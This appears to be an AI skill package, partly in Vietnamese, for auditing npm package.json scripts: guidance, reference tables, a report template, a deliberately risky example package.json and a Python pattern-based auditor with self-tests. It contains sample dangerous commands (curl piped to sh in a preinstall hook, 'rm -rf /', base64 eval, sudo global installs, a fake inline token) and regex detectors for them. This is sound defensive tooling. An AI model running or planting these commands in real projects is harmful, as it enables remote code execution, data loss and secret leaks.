Prompt JavaScript

---
name: package-json-scripts-auditor
description: Kiểm toán phần scripts của tệp package.json trong npm để đảm bảo tính an toàn và rõ ràng: các hook cài đặt rủi ro, lệnh curl truyền thẳng qua pipe vào shell, rm -rf, sudo, thông tin bí mật nhúng trực tiếp, npx không ghim phiên bản, cú pháp shell không tương thích đa nền tảng, các script kiểm thử giữ chỗ, thiếu các script tiêu chuẩn và tên gọi gây nhầm lẫn. Sử dụng khi đánh giá một kho lưu trữ (repo), một gói phụ thuộc (dependency), hoặc một PR thay đổi các script trong package.json. Bao gồm một trình kiểm toán sử dụng thư viện chuẩn Python với các mức độ nghiêm trọng.
---

# Trình kiểm toán Scripts trong package.json

Bạn đánh giá khối `scripts` trong tệp `package.json` của Node.js và giải thích từng script làm gì, những script nào tiềm ẩn rủi ro, và cách làm cho tập hợp các script trở nên rõ ràng cũng như dễ tương thích đa nền tảng hơn. Bạn phục vụ hai nhóm đối tượng: những người bảo trì đang dọn dẹp dự án của chính họ, và những người đánh giá đang kiểm tra xem một gói phụ thuộc hoặc một PR có chạy bất kỳ lệnh nguy hiểm nào vào thời điểm cài đặt hay không. Bạn không bao giờ tự chạy các script; bạn chỉ đọc chúng.

## Các tệp trong kỹ năng này

- `scripts/audit_scripts.py` - đọc tệp package.json và báo cáo các phát hiện kèm theo mức độ nghiêm trọng (high, medium, low, info) cùng cách khắc phục được đề xuất (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/script-conventions.md` - các tên script tiêu chuẩn, các hook vòng đời (lifecycle hooks), quy ước đặt tên và tính tương thích đa nền tảng
- `references/dangerous-patterns.md` - các mẫu lệnh cần xem xét kỹ hơn, lý do chúng quan trọng và các giải pháp thay thế an toàn hơn
- `templates/audit-report.md` - cấu trúc báo cáo cần trả về
- `examples/package.json` - một ví dụ cố tình làm lộn xộn để thực hành

## Quy trình làm việc

### 1. Thu thập ngữ cảnh
Yêu cầu toàn bộ tệp `package.json` (không chỉ phần `scripts`, vì `name`, `private`, `bin`, `workspaces`, và `packageManager` đều quan trọng), và hỏi xem đây là dự án của chính người dùng hay là một gói của bên thứ ba. Hỏi xem nhóm sử dụng hệ điều hành nào (việc hỗ trợ Windows sẽ làm thay đổi lời khuyên về tính tương thích đa nền tảng).

### 2. Chạy trình kiểm toán
```
python3 scripts/audit_scripts.py path/to/package.json
python3 scripts/audit_scripts.py --json path/to/package.json
python3 scripts/audit_scripts.py --self-test
```
Mã thoát (Exit code) 0 = không có phát hiện mức độ cao (high), 1 = có ít nhất một phát hiện mức độ cao, 2 = lỗi tệp.

### 3. Đánh giá thủ công
Script kiểm toán hoạt động dựa trên mẫu (pattern-based). Bạn cũng hãy tự đọc từng script và kiểm tra:
- Các hook vòng đời (`preinstall`, `install`, `postinstall`, `prepare`) chạy tự động đối với người dùng gói; bất kỳ lệnh gọi mạng hoặc ghi tệp nào bên ngoài dự án tại đó đều là dấu hiệu cảnh báo đỏ.
- Các script gọi những tệp khác (`node scripts/setup.js`, `sh ./build.sh`): hãy yêu cầu xem các tệp đó trước khi kết luận gói là an toàn.
- Việc làm rối mã (obfuscation) (base64, chuỗi hex, `eval`, `node -e` với các câu lệnh một dòng dài) đáng bị nghi ngờ ở mức độ cao.

### 4. Đề xuất
Sử dụng `references/script-conventions.md` và `references/dangerous-patterns.md` để đề xuất các phương án thay thế cụ thể: `rimraf` hoặc `del-cli` thay cho `rm -rf`, `cross-env` thay cho `VAR=value cmd`, ghim phiên bản `npx pkg@1.2.3`, `prepublishOnly` chạy kiểm thử, và đặt tên theo nhóm như `lint:js`, `test:unit`.

### 5. Báo cáo
Điền vào `templates/audit-report.md`: kết luận, bảng các phát hiện, khối `scripts` được viết lại, và các câu hỏi tiếp theo.

## Quy tắc

- Đánh giá mức độ nghiêm trọng theo tác động: bất kỳ thứ gì có thể chạy mã từ xa hoặc xóa tệp bên ngoài dự án khi cài đặt đều ở mức cao (high).
- Không buộc tội tác giả có ý đồ xấu; hãy mô tả hành vi và rủi ro.
- Giữ nguyên tên các script hiện có của người dùng nếu việc đổi tên sẽ làm hỏng CI, và cho biết những tệp CI nào sẽ cần cập nhật nếu bạn đề xuất đổi tên.
- Đề xuất `npm install --ignore-scripts` để kiểm toán các gói không đáng tin cậy, và chỉ đề xuất `npm config set ignore-scripts true` khi đã giải thích rõ các mặt đánh đổi.
FILE:references/dangerous-patterns.md
# Các mẫu Script nguy hiểm và rủi ro

| Mẫu | Ví dụ | Tại sao lại quan trọng | Giải pháp thay thế an toàn hơn | Mức độ nghiêm trọng |
|---|---|---|---|---|
| Script từ xa truyền qua pipe vào shell | `curl -fsSL https://x.sh \| sh` | Chạy bất cứ thứ gì máy chủ trả về, không ghim phiên bản và không được xác minh | Đóng gói trực tiếp script vào dự án (vendor), ghim bằng checksum, hoặc dùng một gói đã xuất bản | high |
| Tải dữ liệu mạng trong các hook cài đặt | `"postinstall": "node download.js"` / `wget` | Chạy trên máy của mọi người dùng vào thời điểm cài đặt | Đóng gói sẵn các tạo phẩm (artifacts) trong gói, hoặc làm cho bước này trở thành tùy chọn (opt-in) | high |
| Xóa đệ quy các đường dẫn rộng | `rm -rf /`, `rm -rf ~`, `rm -rf $DIR/` với biến chưa được đặt giá trị | Có thể xóa sạch dữ liệu bên ngoài dự án | `rimraf dist`, các đường dẫn tương đối rõ ràng | high |
| `sudo` | `sudo npm i -g x` | Leo thang đặc quyền từ một script | Không bao giờ yêu cầu quyền root trong các script; hãy ghi tài liệu hướng dẫn các bước thủ công | high |
| `eval` / các payload được mã hóa | `eval "$(echo ... \| base64 -d)"`, `node -e "...Buffer.from('..','base64')"` | Che giấu những gì thực sự chạy | Các lệnh thuần túy, dễ đọc đặt trong các tệp | high |
| Thông tin bí mật nhúng trực tiếp (Inline secrets) | `API_TOKEN=abc123 node deploy.js` | Rò rỉ trong lịch sử git và nhật ký (logs) CI | Các biến môi trường từ kho lưu trữ bí mật hoặc tệp `.env` không được commit | high |
| Quyền ghi cho mọi người (World-writable) | `chmod 777`, `chmod -R a+w` | Cho phép bất kỳ người dùng nào sửa đổi tệp | Quyền tối thiểu (`chmod +x file`) | medium |
| Bỏ qua các bước kiểm tra an toàn | `git commit --no-verify`, `npm publish --force`, `--unsafe-perm` | Vượt qua các hook và cơ chế bảo vệ | Sửa lỗi kiểm tra đang bị thất bại thay vì bỏ qua | medium |
| `npx` / `dlx` không ghim phiên bản | `npx create-thing` | Tải xuống và chạy phiên bản mới nhất vào thời điểm chạy | `npx create-thing@3.2.1` hoặc thêm vào làm devDependency | medium |
| Cài đặt toàn cục (global) trong các script | `npm i -g typescript` | Làm thay đổi máy của người dùng; gây lệch phiên bản | devDependency + tệp thực thi (bin) cục bộ | medium |
| Các URL HTTP thuần túy | `curl http://...` | Có thể bị can thiệp trong quá trình truyền tải | HTTPS | medium |
| `git push` / `npm publish` trong các hook | `"postbuild": "npm publish"` | Phát hành ngoài ý muốn | Script `release` rõ ràng được chạy bởi CI | medium |
| Cú pháp shell không tương thích đa nền tảng | `NODE_ENV=prod`, `export`, `cp -r` | Bị lỗi trên Windows | `cross-env`, `cpy-cli`, các script Node | low |
| Kiểm thử giữ chỗ (Placeholder test) | `echo "Error: no test specified" && exit 1` | CI thất bại hoặc các bài kiểm thử âm thầm bị thiếu | Trình chạy kiểm thử (test runner) thực sự | low |
| Câu lệnh một dòng (one-liners) rất dài | > 200 ký tự | Khó đánh giá; ẩn chứa rủi ro | Chuyển sang một tệp script riêng | low |

## Mẹo đánh giá
- Đối với các gói của bên thứ ba: kiểm tra bằng lệnh `npm pack <pkg>` và đọc tệp nén tarball, hoặc cài đặt với cờ `--ignore-scripts` trước.
- Lần theo các tham chiếu tệp: `node scripts/postinstall.js` chỉ an toàn tương đương với mức độ an toàn của chính tệp đó.
- Chú ý đến `prepare` trong các gói phụ thuộc git: nó sẽ chạy khi cài đặt từ một URL git.
FILE:references/script-conventions.md
# Quy ước Script trong npm

## Các tên tiêu chuẩn
| Script | Mục đích | Chạy bằng lệnh |
|---|---|---|
| `start` | Chạy ứng dụng ở chế độ production | `npm start` |
| `dev` | Chạy kèm theo dõi thay đổi (watch) / tải lại nóng (hot reload) | `npm run dev` |
| `build` | Tạo đầu ra bản dựng (build output) | `npm run build` |
| `test` | Chạy bộ kiểm thử (mặc định của CI) | `npm test` |
| `lint` | Kiểm tra tĩnh | `npm run lint` |
| `format` | Áp dụng trình định dạng mã | `npm run format` |
| `typecheck` | `tsc --noEmit` hoặc tương tự | `npm run typecheck` |
| `clean` | Xóa các tạo phẩm bản dựng (build artifacts) | `npm run clean` |

Sử dụng dấu hai chấm để nhóm các biến thể: `test:unit`, `test:e2e`, `lint:css`, `build:docs`. Sử dụng `npm-run-all` / `run-p` / `run-s`, hoặc `npm run a && npm run b`, để kết hợp chúng.

## Các hook vòng đời (Lifecycle hooks)
| Hook | Chạy khi | Ghi chú |
|---|---|---|
| `preinstall`, `install`, `postinstall` | Gói của bạn được cài đặt, bao gồm cả khi làm gói phụ thuộc | Chạy trên máy của mọi người dùng. Hãy để trống trừ khi cần biên dịch mã gốc (native code). |
| `prepare` | Sau khi chạy `npm install` cục bộ và trước `npm publish`/`npm pack`; cũng chạy đối với các gói phụ thuộc git | Tốt để dựng (build) hoặc thiết lập các git hook (ví dụ: `husky`). |
| `prepublishOnly` | Chỉ trước khi chạy `npm publish` | Đặt `npm test && npm run build` ở đây. |
| `prepack`, `postpack` | Xung quanh lệnh `npm pack` / publish | |
| `preX` / `postX` | Tự động trước/sau bất kỳ script `X` nào | Có thể gây bất ngờ cho người đọc; nên ưu tiên nối chuỗi lệnh rõ ràng. pnpm mặc định không chạy chúng. |

## Tính tương thích đa nền tảng (Portability)
- `cmd.exe` của Windows không hiểu `VAR=value cmd`, `export`, `rm -rf`, `cp -r`, chạy nền bằng `&`, dấu nháy đơn, hoặc `$VAR`. Hãy sử dụng `cross-env`, `rimraf`, `cpy-cli`, `concurrently`, và các script Node.
- `&&` hoạt động trong cả hai trình shell; `;` không chạy theo cùng một cách trong `cmd.exe`.
- Ưu tiên các tệp thực thi cục bộ (từ `devDependencies`) hơn là các tệp được cài đặt toàn cục; npm sẽ thêm `node_modules/.bin` vào PATH bên trong các script.

## Sự rõ ràng
- Mỗi script chỉ đảm nhận một công việc; chuyển các logic dài (> ~120 ký tự) vào các tệp `scripts/*.js` hoặc `*.mjs`.
- Tránh những tên làm che khuất (shadow) các lệnh npm hoặc trùng lặp lẫn nhau (`install`, `publish`, `test2`).
- Thay thế lệnh mặc định `echo "Error: no test specified" && exit 1` bằng một lệnh kiểm thử thực sự hoặc xóa nó đi.
- Ghi tài liệu cho các script khác thường trong tệp README.
- Đặt `"private": true` cho các ứng dụng không bao giờ được phép xuất bản.
FILE:templates/audit-report.md
# Kiểm toán Scripts trong package.json

**Gói:** `<name>@<version>`  |  **Chủ sở hữu:** dự án riêng / bên thứ ba  |  **Riêng tư (Private):** có/không
**Kết luận:** An toàn / Cần thay đổi / Không cài đặt cho đến khi được đánh giá
**Số lượng:** high `<n>`, medium `<n>`, low `<n>`, info `<n>`

## Danh mục Script
| Script | Chức năng (diễn giải dễ hiểu) | Có chạy tự động không? |
|---|---|---|
| `build` | | không |
| `postinstall` | | có, trong mọi lần cài đặt |

## Các phát hiện
| # | Mức độ nghiêm trọng | Script | Mẫu | Tại sao lại quan trọng | Cách khắc phục |
|---|---|---|---|---|---|
| 1 | high | | | | |

## Khối scripts được đề xuất
```json
{
  "scripts": {
  }
}
```

## Kiểm tra thêm
- Các tệp được tham chiếu bởi các script: `<list>`
- Các tệp CI gọi những script đã được đổi tên: `<list>`
- Các devDependencies cần thêm: `<rimraf, cross-env, ...>`

## Câu hỏi dành cho người bảo trì
1.
FILE:examples/package.json
{
  "name": "acme-dashboard",
  "version": "0.4.2",
  "description": "Internal dashboard (example with deliberately messy scripts for auditing practice)",
  "main": "dist/index.js",
  "scripts": {
    "preinstall": "curl -fsSL http://get.example.com/setup.sh | sh",
    "postinstall": "node scripts/fetch-assets.js",
    "start": "NODE_ENV=production node dist/index.js",
    "dev": "nodemon src/index.ts",
    "build": "rm -rf dist && tsc -p .",
    "test": "echo \"Error: no test specified\" && exit 1",
    "deploy": "API_TOKEN=sk_live_example123 node scripts/deploy.js",
    "fix-perms": "chmod -R 777 ./uploads",
    "commit": "git add -A && git commit --no-verify -m wip",
    "gen": "npx create-acme-widget",
    "postbuild": "npm publish",
    "setup": "sudo npm install -g typescript"
  },
  "devDependencies": {
    "nodemon": "^3.1.0",
    "typescript": "^5.6.0"
  }
}
FILE:scripts/audit_scripts.py
#!/usr/bin/env python3
"""Audit the "scripts" section of an npm package.json.

Usage:
    python3 audit_scripts.py path/to/package.json [--json]
    python3 audit_scripts.py --self-test

Exit codes: 0 = no high findings, 1 = high findings present, 2 = file error.
Pattern-based: always read the scripts and any files they call yourself.
Python 3 standard library only.
"""
import argparse
import json
import re
import sys

INSTALL_HOOKS = {"preinstall", "install", "postinstall", "prepare"}
SEVERITY_ORDER = {"high": 0, "medium": 1, "low": 2, "info": 3}

# (id, regex, severity, message, fix)
PATTERNS = [
    ("pipe-to-shell", r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", "high",
     "Downloads a remote script and pipes it into a shell.",
     "Vendor the script, verify a checksum, or use a pinned package."),
    ("broad-rm", r"\brm\s+-[a-z]*r[a-z]*f?[a-z]*\s+(/|~|\$HOME|\$\{?\w+\}?/?)(\s|$|&|;)", "high",
     "Recursive delete of a root, home, or variable-based path.",
     "Delete an explicit relative path, e.g. `rimraf dist`."),
    ("sudo", r"(^|[\s;&|])sudo\s", "high",
     "Uses sudo inside an npm script.",
     "Never require root from scripts; document any manual setup."),
    ("eval-or-encoded", r"\beval\b|base64\s+(-d|--decode)|Buffer\.from\([^)]*base64", "high",
     "Uses eval or decodes an encoded payload, hiding what runs.",
     "Replace with plain, readable commands in a script file."),
    ("inline-secret", r"\b[A-Z0-9_]*(TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|PRIVATE_KEY)[A-Z0-9_]*=(?!\$)\S+", "high",
     "Hard-coded secret value in a script.",
     "Read secrets from the environment or a secret manager; rotate the exposed value."),
    ("chmod-777", r"\bchmod\s+(-R\s+)?(0?777|a\+w|o\+w)\b", "medium",
     "Makes files world-writable.",
     "Use minimal permissions, e.g. `chmod +x bin/cli.js`."),
    ("skip-checks", r"--no-verify|--force\b|--unsafe-perm|--ignore-engines", "medium",
     "Bypasses safety checks or hooks.",
     "Fix the underlying failure instead of skipping the check."),
    ("unpinned-npx", r"\b(npx|pnpm\s+dlx|bunx|yarn\s+dlx)\s+(-y\s+|--yes\s+)?(?!-)(@?[\w./-]+)(?=\s|$)(?<!@latest)", "medium",
     "Runs a package via npx/dlx without a pinned version.",
     "Pin it (`npx pkg@1.2.3`) or add it to devDependencies."),
    ("global-install", r"\bnpm\s+(i|install)\s+(-g|--global)\b|\byarn\s+global\s+add\b", "medium",
     "Installs packages globally from a script.",
     "Add as a devDependency and use the local binary."),
    ("plain-http", r"http://(?!localhost|127\.0\.0\.1)", "medium",
     "Fetches over plain HTTP.",
     "Use HTTPS."),
    ("publish-or-push", r"\bnpm\s+publish\b|\bgit\s+push\b", "medium",
     "Publishes or pushes from a script.",
     "Keep releases in an explicit `release` script or CI job."),
    ("non-portable-env", r"(^|&&\s*|;\s*)[A-Z_][A-Z0-9_]*=\S+\s+\S", "low",
     "Inline env assignment `VAR=value cmd` does not work in Windows cmd.",
     "Use `cross-env VAR=value cmd`."),
    ("non-portable-cmd", r"(^|[\s;&|])(rm\s+-|cp\s+-r|export\s+\w+=|mv\s)", "low",
     "Unix-only shell command.",
     "Use rimraf / cpy-cli / a Node script for Windows support."),
]

PLACEHOLDER_TEST = re.compile(r'no test specified', re.I)
NETWORK = re.compile(r"\b(curl|wget|git\s+clone|Invoke-WebRequest)\b|https?://", re.I)
FILE_REF = re.compile(r"\b(?:node|sh|bash|python3?)\s+(\.?/?[\w./-]+\.(?:m?js|cjs|ts|sh|py))")


def audit(pkg):
    findings = []

    def add(sev, script, rule, msg, fix):
        findings.append({"severity": sev, "script": script, "rule": rule, "message": msg, "fix": fix})

    scripts = pkg.get("scripts")
    if not isinstance(scripts, dict) or not scripts:
        add("info", None, "no-scripts", "No scripts section found.", "Add standard scripts such as build, test, lint.")
        return findings

    for name, cmd in scripts.items():
        if not isinstance(cmd, str):
            add("medium", name, "not-string", "Script value is not a string.", "Make it a shell command string.")
            continue
        for rule, rx, sev, msg, fix in PATTERNS:
            if re.search(rx, cmd):
                add(sev, name, rule, msg, fix)
        if name in INSTALL_HOOKS:
            if name == "prepare":
                add("info", name, "install-hook", "`prepare` runs on local install and for git dependencies.",
                    "Keep it limited to build or git-hook setup.")
            else:
                add("medium", name, "install-hook", f"`{name}` runs automatically on every consumer's install.",
                    "Remove it unless it compiles native code; move setup to an explicit script.")
            if NETWORK.search(cmd):
                add("high", name, "network-in-install-hook", "Install hook performs network access.",
                    "Ship assets in the package or make the download opt-in.")
            for ref in FILE_REF.findall(cmd):
                add("high" if name != "prepare" else "medium", name, "install-hook-runs-file",
                    f"Install hook executes `{ref}`; its contents decide the real risk.",
                    f"Read `{ref}` before trusting this package.")
        if name == "test" and PLACEHOLDER_TEST.search(cmd):
            add("low", name, "placeholder-test", "Default placeholder test script.", "Wire up a real test runner.")
        if len(cmd) > 200:
            add("low", name, "long-script", f"Script is {len(cmd)} characters long.", "Move the logic into a script file.")
        if name.startswith(("pre", "post")) and name not in INSTALL_HOOKS and name not in ("prepublishOnly", "prepack", "postpack"):
            base = name[3:] if name.startswith("pre") else name[4:]
            if base in scripts:
                add("info", name, "implicit-hook", f"Runs automatically around `{base}` (pnpm skips these by default).",
                    f"Consider chaining explicitly inside `{base}`.")
        if not re.match(r"^[a-z0-9][a-z0-9:._-]*$", name):
            add("low", name, "naming", "Script name uses unusual characters or uppercase.",
                "Use lowercase names grouped with colons, e.g. `test:unit`.")

    for std in ("build", "test", "lint"):
        if std not in scripts and not any(k.startswith(std + ":") for k in scripts):
            add("info", None, "missing-standard", f"No `{std}` script.", f"Add a `{std}` script if the project needs one.")
    if not pkg.get("private") and "prepublishOnly" not in scripts and "publish-or-push" not in [f["rule"] for f in findings]:
        add("info", None, "no-prepublishonly", "Package is publishable but has no `prepublishOnly` check.",
            "Add `\"prepublishOnly\": \"npm test && npm run build\"` or set `\"private\": true`.")
    findings.sort(key=lambda f: (SEVERITY_ORDER[f["severity"]], f["script"] or ""))
    return findings


def self_test():
    pkg = {
        "name": "t", "scripts": {
            "preinstall": "curl -fsSL http://x.example/s.sh | sh",
            "postinstall": "node scripts/setup.js",
            "clean": "rm -rf $OUT/",
            "deploy": "API_TOKEN=abc123 node deploy.js",
            "perm": "chmod -R 777 uploads",
            "gen": "npx create-foo",
            "gen2": "npx create-foo@1.2.3",
            "start": "NODE_ENV=production node index.js",
            "test": "echo \"Error: no test specified\" && exit 1",
            "setup": "sudo npm i -g typescript",
            "build": "tsc",
        }}
    f = audit(pkg)
    rules = {(x["script"], x["rule"]) for x in f}
    checks = [
        (("preinstall", "pipe-to-shell"), True),
        (("preinstall", "network-in-install-hook"), True),
        (("preinstall", "plain-http"), True),
        (("postinstall", "install-hook-runs-file"), True),
        (("clean", "broad-rm"), True),
        (("deploy", "inline-secret"), True),
        (("perm", "chmod-777"), True),
        (("gen", "unpinned-npx"), True),
        (("gen2", "unpinned-npx"), False),
        (("start", "non-portable-env"), True),
        (("test", "placeholder-test"), True),
        (("setup", "sudo"), True),
        (("setup", "global-install"), True),
        (("build", "broad-rm"), False),
    ]
    failed = 0
    for key, expected in checks:
        ok = (key in rules) == expected
        failed += not ok
        print(f"{'PASS' if ok else 'FAIL'}  {key[0]}:{key[1]} expected={'present' if expected else 'absent'}")
    clean = audit({"name": "c", "private": True, "scripts": {"build": "tsc -p .", "test": "vitest run", "lint": "eslint ."}})
    ok = not [x for x in clean if x["severity"] in ("high", "medium", "low")]
    failed += not ok
    print(f"{'PASS' if ok else 'FAIL'}  clean package has no high/medium/low findings")
    total = len(checks) + 1
    print(f"\n{total - failed}/{total} passed")
    return 1 if failed else 0


def main(argv=None):
    p = argparse.ArgumentParser(description="Audit npm package.json scripts.")
    p.add_argument("file", nargs="?", help="Path to package.json")
    p.add_argument("--json", action="store_true", help="Output JSON")
    p.add_argument("--self-test", action="store_true", help="Run built-in tests")
    a = p.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.file:
        p.error("file is required (or use --self-test)")
    try:
        with open(a.file, encoding="utf-8") as fh:
            pkg = json.load(fh)
    except (OSError, json.JSONDecodeError) as exc:
        print(f"Cannot read {a.file}: {exc}", file=sys.stderr)
        return 2
    findings = audit(pkg)
    counts = {s: sum(1 for f in findings if f["severity"] == s) for s in SEVERITY_ORDER}
    if a.json:
        print(json.dumps({"package": pkg.get("name"), "counts": counts, "findings": findings}, indent=2))
    else:
        print(f"Package: {pkg.get('name', '?')}@{pkg.get('version', '?')}")
        for f in findings:
            where = f["script"] or "-"
            print(f"[{f['severity'].upper():6}] {where:12} {f['rule']}: {f['message']}\n{'':22}fix: {f['fix']}")
        print("\n" + ", ".join(f"{k} {v}" for k, v in counts.items()))
    return 1 if counts["high"] else 0


if __name__ == "__main__":
    sys.exit(main())